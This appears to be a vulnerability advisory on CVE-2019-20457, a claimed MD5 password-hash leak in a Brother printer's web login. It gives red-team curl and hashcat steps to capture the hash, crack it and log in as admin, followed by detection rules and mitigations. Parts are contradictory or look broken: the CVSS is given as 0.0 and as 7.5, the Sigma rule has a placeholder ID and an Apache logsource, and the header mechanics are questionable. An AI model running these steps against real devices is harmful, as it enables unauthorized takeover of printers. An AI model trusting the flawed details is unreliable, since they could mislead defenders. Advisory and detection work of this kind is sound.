CVE-2019-20457

Executive Summary

CVE-2019-20457 exposes a critical information disclosure vulnerability in Brother MFC-J491DW printers (firmware C1806180757). The web interface leaks the MD5 hash of the administrative password in the response header of any failed login attempt. This allows an unauthenticated attacker to retrieve the password hash offline and crack it, leading to full administrative access to the device. The vulnerability has a CVSS score of 0.0 (incorrectly assigned) but should be considered high severity due to the ease of exploitation and potential for full device compromise. No patch is available from the vendor, making this a permanent risk for affected devices.

Supply Chain & Package Security

Not applicable (hardware device vulnerability).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the trivial exploitation (no authentication required) and the potential for full device takeover after password cracking.

Deep Dive & Mechanics

The vulnerability resides in the printer's web interface authentication mechanism. When a login attempt fails, the server responds with an HTTP header containing an Authorization cookie. This cookie value is the MD5 hash of the administrative password, encoded in hexadecimal. The hash is sent without any encryption or additional protection, allowing an attacker to capture it via network sniffing or by simply observing the response headers.

The root cause is a design flaw: the server should not expose any password-derived data in error responses. The MD5 hash is directly usable for offline brute-force or dictionary attacks. Once cracked, the attacker gains full administrative access to the printer's web interface, enabling configuration changes, firmware manipulation, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (Brother MFC-J491DW firmware C1806180757): The web server returns the MD5 hash in the response header on failed login:

HTTP/1.1 401 Unauthorized
Authorization: <MD5 hash of password in hex>

Patched Code (Hypothetical): A secure implementation would not return any password-derived data:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Brother Printer"

No official patch exists; the vendor has not addressed this issue.

Exploitation & Lab Setup

Red Team

Step 1: Capture the hash Send a failed login request to the printer's web interface:

curl -v -u "admin:wrongpassword" http://<printer-ip>/ 2>&1 | grep -i authorization

The response will contain the Authorization header with the MD5 hash.

Step 2: Crack the hash Use hashcat or John the Ripper to crack the MD5 hash:

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Step 3: Gain admin access Log in with the cracked password:

curl -u "admin:cracked_password" http://<printer-ip>/admin/

Blue Team

Detection:

• Monitor for failed login attempts to printer web interfaces.
• Look for HTTP responses containing Authorization headers with 32-character hex strings.
• Use network monitoring to detect MD5 hash leakage.

Mitigation:

• Isolate printers on a separate VLAN with strict access controls.
• Disable remote web interface access if not required.
• Monitor for unauthorized access attempts.

Indicators of Compromise (IOCs)

• Network: HTTP responses with Authorization header containing a 32-character hex string (MD5 hash).
• Logs: Failed login attempts to printer web interface from unknown IPs.
• File: Captured MD5 hash values in network traffic.
• Behavior: Unauthorized configuration changes on the printer.

Detection Engineering

YARA Rule

rule CVE_2019_20457_Brother_Printer_Hash_Leak {
    meta:
        description = "Detects MD5 hash leak in Brother printer web interface responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-20457"
    strings:
        $hash_pattern = /[0-9a-f]{32}/ 
        $auth_header = "Authorization"
    condition:
        $auth_header and #hash_pattern > 0
}

Sigma Rule

title: Brother Printer MD5 Hash Leak Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses from Brother printers leaking MD5 password hashes
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        response_header|contains: "Authorization"
        response_body|contains: "401 Unauthorized"
    condition: selection
falsepositives:
    - Legitimate authentication attempts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-20457 Brother Printer MD5 Hash Leak"; flow:to_client; content:"Authorization"; http_header; pcre:"/[0-9a-f]{32}/"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable remote web interface access to the printer. Use a firewall to restrict access to trusted IPs only.
• Short-term: Change the administrative password to a strong, unique password. Monitor for unauthorized access.
• Long-term: Replace the printer with a model that has received security patches. Contact Brother for a firmware update (though none is currently available).
• Compensating Controls: Implement network segmentation, use a VPN for remote management, and enable logging and alerting for failed login attempts.

Valters IT